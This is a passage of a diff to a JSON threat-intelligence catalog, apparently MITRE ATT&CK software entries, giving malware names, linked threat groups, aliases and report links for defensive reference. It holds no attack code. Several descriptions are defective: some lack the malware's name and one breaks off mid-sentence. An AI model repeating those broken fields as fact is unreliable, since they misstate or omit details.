"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + ], + "external_id": "S0078", + "synonyms": [ + "Psylo" + ] + }, + "uuid": "dfb5fa9b-3051-4b97-8035-08f80aef945b" + }, + { + "description": "HDoor is malware that has been customized and used by the Naikon group. (Citation: Baumgartner Naikon 2015)\n\nAliases: HDoor, Custom HDoor", + "value": "HDoor - S0061", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0061", + "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" + ], + "external_id": "S0061", + "synonyms": [ + "HDoor", + "Custom HDoor" + ] + }, + "uuid": "007b44b6-e4c5-480b-b5b9-56f2081b1b7b" + }, + { + "description": "Smoke Loader is a bot that has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. (Citation: Malwarebytes SmokeLoader 2016)\n\nAliases: Smoke Loader, Dofoil", + "value": "Smoke Loader - S0226", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0226", + "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + ], + "external_id": "S0226", + "synonyms": [ + "Smoke Loader", + "Dofoil" + ] + }, + "uuid": "0c824410-58ff-49b2-9cf2-1c96b182bdf0" + }, + { + "description": " (Citation: Janicab) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)\n\nAliases: (Citation: Janicab)", + "value": "Janicab - S0163", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0163", + "http://www.thesafemac.com/new-signed-malware-called-janicab/" + ], + "external_id": "S0163", + "synonyms": [ + "Janicab" + ] + }, + "uuid": "234e7770-99b0-4f65-b983-d3230f76a60b" + }, + { + "description": "is a backdoor used by APT37. (Citation: FireEye APT37 Feb 2018)\n\nAliases: WINERACK", + "value": "WINERACK - S0219", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0219", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf" + ], + "external_id": "S0219", + "synonyms": [ + "WINERACK" + ] + }, + "uuid": "49abab73-3c5c-476e-afd5-69b5c732d845" + }, + { + "description": "WINDSHIELD is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: WINDSHIELD", + "value": "WINDSHIELD - S0155", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0155", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + ], + "external_id": "S0155", + "synonyms": [ + "WINDSHIELD" + ] + }, + "uuid": "98e8a977-3416-43aa-87fa-33e287e9c14c" + }, + { + "description": "TinyZBot is a bot written in C# that was developed by Cleaver. (Citation: Cylance Cleaver)\n\nAliases: TinyZBot", + "value": "TinyZBot - S0004", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0004", + "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf" + ], + "external_id": "S0004", + "synonyms": [ + "TinyZBot" + ] + }, + "uuid": "c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9" + }, + { + "description": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005. (Citation: FireEye APT30)\n\nAliases: BACKSPACE, Lecna", + "value": "BACKSPACE - S0031", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0031", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "external_id": "S0031", + "synonyms": [ + "BACKSPACE", + "Lecna" + ] + }, + "uuid": "fb261c56-b80e-43a9-8351-c84081e7213d" + }, + { + "description": "ZeroT is a Trojan used by TA459, often in conjunction with PlugX. (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)\n\nAliases: ZeroT", + "value": "ZeroT - S0230", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0230", + "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts", + "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + ], + "external_id": "S0230", + "synonyms": [ + "ZeroT" + ] + }, + "uuid": "4ab44516-ad75-4e43-a280-705dc0420e2f" + }, + { + "description": "PinchDuke is malware that was used by APT29 from 2008 to 2010. (Citation: F-Secure The Dukes)\n\nAliases: PinchDuke", + "value": "PinchDuke - S0048", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0048", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "external_id": "S0048", + "synonyms": [ + "PinchDuke" + ] + }, + "uuid": "ae9d818d-95d0-41da-b045-9cabea1ca164" + }, + { + "description": "CloudDuke is malware that was used by APT29 in 2015. (Citation: F-Secure The Dukes) (Citation: Securelist Minidionis July 2015)\n\nAliases: CloudDuke, MiniDionis, CloudLook", + "value": "CloudDuke - S0054", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0054", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf", + "https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/" + ], + "external_id": "S0054", + "synonyms": [ + "CloudDuke", + "MiniDionis", + "CloudLook" + ] + }, + "uuid": "cbf646f1-7db5-4dc6-808b-0094313949df" + }, + { + "description": "RedLeaves is a malware family used by menuPass. The code overlaps with PlugX and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)\n\nAliases: RedLeaves, BUGJUICE", + "value": "RedLeaves - S0153", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0153", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html" + ], + "external_id": "S0153", + "synonyms": [ + "RedLeaves", + "BUGJUICE" + ] + }, + "uuid": "17b40f60-729f-4fe8-8aea-cc9ee44a95d5" + }, + { + "description": "WinMM is a full-featured, simple backdoor used by Naikon. (Citation: Baumgartner Naikon 2015)\n\nAliases: WinMM", + "value": "WinMM - S0059", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0059", + "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" + ], + "external_id": "S0059", + "synonyms": [ + "WinMM" + ] + }, + "uuid": "22addc7b-b39f-483d-979a-1b35147da5de" + }, + { + "description": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: MobileOrder", + "value": "MobileOrder - S0079", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0079", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + ], + "external_id": "S0079", + "synonyms": [ + "MobileOrder" + ] + }, + "uuid": "463f68f1-5cde-4dc2-a831-68b73488f8f4" + }, + { + "description": "Sys10 is a backdoor that was used throughout 2013 by Naikon. (Citation: Baumgartner Naikon 2015)\n\nAliases: Sys10", + "value": "Sys10 - S0060", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0060", + "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" + ], + "external_id": "S0060", + "synonyms": [ + "Sys10" + ] + }, + "uuid": "7f8730af-f683-423f-9ee1-5f6875a80481" + }, + { + "description": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)\n\nAliases: Duqu", + "value": "Duqu - S0038", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0038", + "https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20duqu%20the%20precursor%20to%20the%20next%20stuxnet.pdf" + ], + "external_id": "S0038", + "synonyms": [ + "Duqu" + ] + }, + "uuid": "68dca94f-c11d-421e-9287-7c501108e18c" + }, + { + "description": "is a downloader used by APT37 to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)\n\nAliases: HAPPYWORK", + "value": "HAPPYWORK - S0214", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0214", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf" + ], + "external_id": "S0214", + "synonyms": [ + "HAPPYWORK" + ] + }, + "uuid": "211cfe9f-2676-4e1c-a5f5-2c8091da2a68" + }, + { + "description": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: FakeM", + "value": "FakeM - S0076", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0076", + "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + ], + "external_id": "S0076", + "synonyms": [ + "FakeM" + ] + }, + "uuid": "bb3c1098-d654-4620-bf40-694386d28921" + }, + { + "description": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: SHIPSHAPE", + "value": "SHIPSHAPE - S0028", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0028", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "external_id": "S0028", + "synonyms": [ + "SHIPSHAPE" + ] + }, + "uuid": "b1de6916-7a22-4460-8d26-6b5483ffaa2a" + }, + { + "description": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)\n\nAliases: T9000", + "value": "T9000 - S0098", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0098", + "https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html", + "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + ], + "external_id": "S0098", + "synonyms": [ + "T9000" + ] + }, + "uuid": "876f6a77-fbc5-4e13-ab1a-5611986730a3" + }, + { + "description": "EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)\n\nAliases: EvilGrab", + "value": "EvilGrab - S0152", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0152", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + ], + "external_id": "S0152", + "synonyms": [ + "EvilGrab" + ] + }, + "uuid": "2f1a9fd0-3b7c-4d77-a358-78db13adbe78" + }, + { + "description": "BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)\n\nAliases: BS2005", + "value": "BS2005 - S0014", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0014", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + ], + "external_id": "S0014", + "synonyms": [ + "BS2005" + ] + }, + "uuid": "67fc172a-36fa-4a35-88eb-4ba730ed52a6" + }, + { + "description": "WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)\n\nAliases: WEBC2", + "value": "WEBC2 - S0109", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0109", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + ], + "external_id": "S0109", + "synonyms": [ + "WEBC2" + ] + }, + "uuid": "1d808f62-cf63-4063-9727-ff6132514c22" + }, + { + "description": "PlugX is a remote access tool (RAT) that uses modular plugins. (Citation: Lastline PlugX Analysis) It has been used by multiple threat groups. (Citation: FireEye Clandestine Fox Part 2) (Citation: New DragonOK) (Citation: Dell TG-3390)\n\nAliases: PlugX, Sogu, Kaba, Korplug", + "value": "PlugX - S0013", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0013", + "http://labs.lastline.com/an-analysis-of-plugx", + "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html", + "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/", + "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" + ], + "external_id": "S0013", + "synonyms": [ + "PlugX", + "Sogu", + "Kaba", + "Korplug" + ] + }, + "uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd" + }, + { + "description": "Reaver is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of . (Citation: Palo Alto Reaver Nov 2017)\n\nAliases: Reaver", + "value": "Reaver - S0172", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0172", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + ], + "external_id": "S0172", + "synonyms": [ + "Reaver" + ] + }, + "uuid": "65341f30-bec6-4b1d-8abf-1a5620446c29" + }, + { + "description": "Misdat is a backdoor that was used by Dust Storm from 2010 to 2011. (Citation: Cylance Dust Storm)\n\nAliases: Misdat", + "value": "Misdat - S0083", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0083", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf" + ], + "external_id": "S0083", + "synonyms": [ + "Misdat" + ] + }, + "uuid": "0db09158-6e48-4e7c-8ce7-2b10b9c0c039" + }, + { + "description": "Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to (Citation: XAgentOSX) (Citation: XAgentOSX) (Citation: Sofacy Komplex Trojan).\n\nAliases: Komplex", + "value": "Komplex - S0162", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0162", + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + ], + "external_id": "S0162", + "synonyms": [ + "Komplex" + ] + }, + "uuid": "f108215f-3487-489d-be8b-80e346d32518" + }, + { + "description": "Taidoor is malware that has been used since at least 2010, primarily to target Taiwanese government organizations. (Citation: TrendMicro Taidoor)\n\nAliases: Taidoor", + "value": "Taidoor - S0011", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0011", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20the%20taidoor%20campaign.pdf" + ], + "external_id": "S0011", + "synonyms": [ + "Taidoor" + ] + }, + "uuid": "b143dfa4-e944-43ff-8429-bfffc308c517" + }, + { + "description": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)\n\nAliases: MoonWind", + "value": "MoonWind - S0149", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0149", + "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + ], + "external_id": "S0149", + "synonyms": [ + "MoonWind" + ] + }, + "uuid": "9ea525fa-b0a9-4dde-84f2-bcea0137b3c1" + }, + { + "description": "Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)\n\nAliases: Crimson, MSIL/Crimson", + "value": "Crimson - S0115", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0115", + "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + ], + "external_id": "S0115", + "synonyms": [ + "Crimson", + "MSIL/Crimson" + ] + }, + "uuid": "326af1cd-78e7-45b7-a326-125d2f7ef8f2" + }, + { + "description": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)\n\nAliases: Rover", + "value": "Rover - S0090", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0090", + "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/" + ], + "external_id": "S0090", + "synonyms": [ + "Rover" + ] + }, + "uuid": "6b616fc1-1505-48e3-8b2c-0d19337bff38" + }, + { + "description": "ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)\n\nAliases: ZLib", + "value": "ZLib - S0086", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0086", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf" + ], + "external_id": "S0086", + "synonyms": [ + "ZLib" + ] + }, + "uuid": "166c0eca-02fd-424a-92c0-6b5106994d31" + }, + { + "description": "PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)\n\nAliases: PowerDuke", + "value": "PowerDuke - S0139", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0139", + "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + ], + "external_id": "S0139", + "synonyms": [ + "PowerDuke" + ] + }, + "uuid": "00c3bfcb-99bd-4767-8c03-b08f585f5c8a" + }, + { + "description": "HTTPBrowser is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)\n\nAliases: HTTPBrowser, Token Control, HttpDump", + "value": "HTTPBrowser - S0070", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0070", + "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop", + "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", + "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" + ], + "external_id": "S0070", + "synonyms": [ + "HTTPBrowser", + "Token Control", + "HttpDump" + ] + }, + "uuid": "e066bf86-9cfb-407a-9d25-26fd5d91e360" + }, + { + "description": "HAMMERTOSS is a backdoor that was used by APT29 in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)\n\nAliases: HAMMERTOSS, HammerDuke, NetDuke", + "value": "HAMMERTOSS - S0037", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0037", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "external_id": "S0037", + "synonyms": [ + "HAMMERTOSS", + "HammerDuke", + "NetDuke" + ] + }, + "uuid": "2daa14d6-cbf3-4308-bb8e-213c324a08e4" + }, + { + "description": "PoisonIvy is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy)\n\nAliases: PoisonIvy, Poison Ivy", + "value": "PoisonIvy - S0012", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0012", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + ], + "external_id": "S0012", + "synonyms": [ + "PoisonIvy", + "Poison Ivy" + ] + }, + "uuid": "b42378e0-f147-496f-992a-26a49705395b" + }, + { + "description": "SHUTTERSPEED is a backdoor used by APT37. (Citation: FireEye APT37 Feb 2018)\n\nAliases: SHUTTERSPEED", + "value": "SHUTTERSPEED - S0217", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0217", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf" + ], + "external_id": "S0217", + "synonyms": [ + "SHUTTERSPEED" + ] + }, + "uuid": "4189a679-72ed-4a89-a57c-7f689712ecf8" + }, + { + "description": "Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak)\n\nAliases: Carbanak, Anunak", + "value": "Carbanak - S0030", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0030", + "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf" + ], + "external_id": "S0030", + "synonyms": [ + "Carbanak", + "Anunak" + ] + }, + "uuid": "72f54d66-675d-4587-9bd3-4ed09f9522e4" + }, + { + "description": "POWERSTATS is a PowerShell-based first stage backdoor used by MuddyWater. (Citation: Unit 42 MuddyWater Nov 2017)\n\nAliases: POWERSTATS", + "value": "POWERSTATS - S0223", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0223", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + ], + "external_id": "S0223", + "synonyms": [ + "POWERSTATS" + ] + }, + "uuid": "e8545794-b98c-492b-a5b3-4b5a02682e37" + }, + { + "description": "Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia. (Citation: Moran 2013)\n\nAliases: Ixeshe", + "value": "Ixeshe - S0015", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0015", + "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + ], + "external_id": "S0015", + "synonyms": [ + "Ixeshe" + ] + }, + "uuid": "8beac7c2-48d2-4cd9-9b15-6c452f38ac06" + }, + { + "description": "BADNEWS is malware that has been used by the actors responsible for the Patchwork campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon)\n\nAliases: BADNEWS", + "value": "BADNEWS - S0128", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0128", + "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + ], + "external_id": "S0128", + "synonyms": [ + "BADNEWS" + ] + }, + "uuid": "e9595678-d269-469e-ae6b-75e49259de63" + }, + { + "description": "FLIPSIDE is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)\n\nAliases: FLIPSIDE", + "value": "FLIPSIDE - S0173", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0173", + "https://www.youtube.com/watch?v=fevGZs0EQu8" + ], + "external_id": "S0173", + "synonyms": [ + "FLIPSIDE" + ] + }, + "uuid": "0e18b800-906c-4e44-a143-b11c72b3448b" + }, + { + "description": "Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)\n\nAliases: Flame, Flamer, sKyWIper", + "value": "Flame - S0143", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0143", + "https://securelist.com/the-flame-questions-and-answers-51/34344/" + ], + "external_id": "S0143", + "synonyms": [ + "Flame", + "Flamer", + "sKyWIper" + ] + }, + "uuid": "ff6840c9-4c87-4d07-bbb6-9f50aa33d498" + }, + { + "description": "RIPTIDE is a proxy-aware backdoor used by APT12. (Citation: Moran 2014)\n\nAliases: RIPTIDE", + "value": "RIPTIDE - S0003", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0003", + "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + ], + "external_id": "S0003", + "synonyms": [ + "RIPTIDE" + ] + }, + "uuid": "ad4f146f-e3ec-444a-ba71-24bffd7f0f8e" + }, + { + "description": "Daserf is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)\n\nAliases: Daserf, Muirim, Nioupale", + "value": "Daserf - S0187", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0187", + "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", + "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + ], + "external_id": "S0187", + "synonyms": [ + "Daserf", + "Muirim", + "Nioupale" + ] + }, + "uuid": "b6b3dfc7-9a81-43ff-ac04-698bad48973a" + }, + { + "description": "CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)\n\nAliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT", + "value": "CozyCar - S0046", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0046", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "external_id": "S0046", + "synonyms": [ + "CozyCar", + "CozyDuke", + "CozyBear", + "Cozer", + "EuroAPT" + ] + }, + "uuid": "e6ef745b-077f-42e1-a37d-29eecff9c754" + }, + { + "description": "Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)\n\nAliases: Mivast", + "value": "Mivast - S0080", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0080", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf" + ], + "external_id": "S0080", + "synonyms": [ + "Mivast" + ] + }, + "uuid": "fbb470da-1d44-4f29-bbb3-9efbe20f94a3" + }, + { + "description": "is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)\n\nAliases: NETWIRE", + "value": "NETWIRE - S0198", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0198", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", + "https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/", + "https://www.brighttalk.com/webcast/10703/275683" + ], + "external_id": "S0198", + "synonyms": [ + "NETWIRE" + ] + }, + "uuid": "2a70812b-f1ef-44db-8578-a496a227aef2" + }, + { + "description": "ISMInjector is a Trojan used to install another OilRig backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)\n\nAliases: ISMInjector\n\nContributors: Robert Falcone", + "value": "ISMInjector - S0189", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0189", + "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + ], + "external_id": "S0189", + "synonyms": [ + "ISMInjector" + ] + }, + "uuid": "5be33fef-39c0-4532-84ee-bea31e1b5324" + }, + { + "description": "is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)\n\nAliases: Vasport", + "value": "Vasport - S0207", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0207", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051606-5938-99" + ], + "external_id": "S0207", + "synonyms": [ + "Vasport" + ] + }, + "uuid": "f4d8a2d6-c684-453a-8a14-cf4a94f755c5" + }, + { + "description": "Cherry Picker is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)\n\nAliases: Cherry Picker", + "value": "Cherry Picker - S0107", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0107", + "https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/" + ], + "external_id": "S0107", + "synonyms": [ + "Cherry Picker" + ] + }, + "uuid": "b2203c59-4089-4ee4-bfe1-28fa25f0dbfe" + }, + { + "description": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)\n\nAliases: XTunnel, X-Tunnel, XAPS", + "value": "XTunnel - S0117", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0117", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + ], + "external_id": "S0117", + "synonyms": [ + "XTunnel", + "X-Tunnel", + "XAPS" + ] + }, + "uuid": "7343e208-7cab-45f2-a47b-41ba5e2f0fab" + }, + { + "description": "Naid is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)\n\nAliases: Naid", + "value": "Naid - S0205", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0205", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security%20response/writeup.jsp?docid=2012-061518-4639-99" + ], + "external_id": "S0205", + "synonyms": [ + "Naid" + ] + }, + "uuid": "48523614-309e-43bf-a2b8-705c2b45d7b2" + }, + { + "description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012. (Citation: F-Secure The Dukes)\n\nAliases: GeminiDuke", + "value": "GeminiDuke - S0049", + "meta": { + "refs": [ + 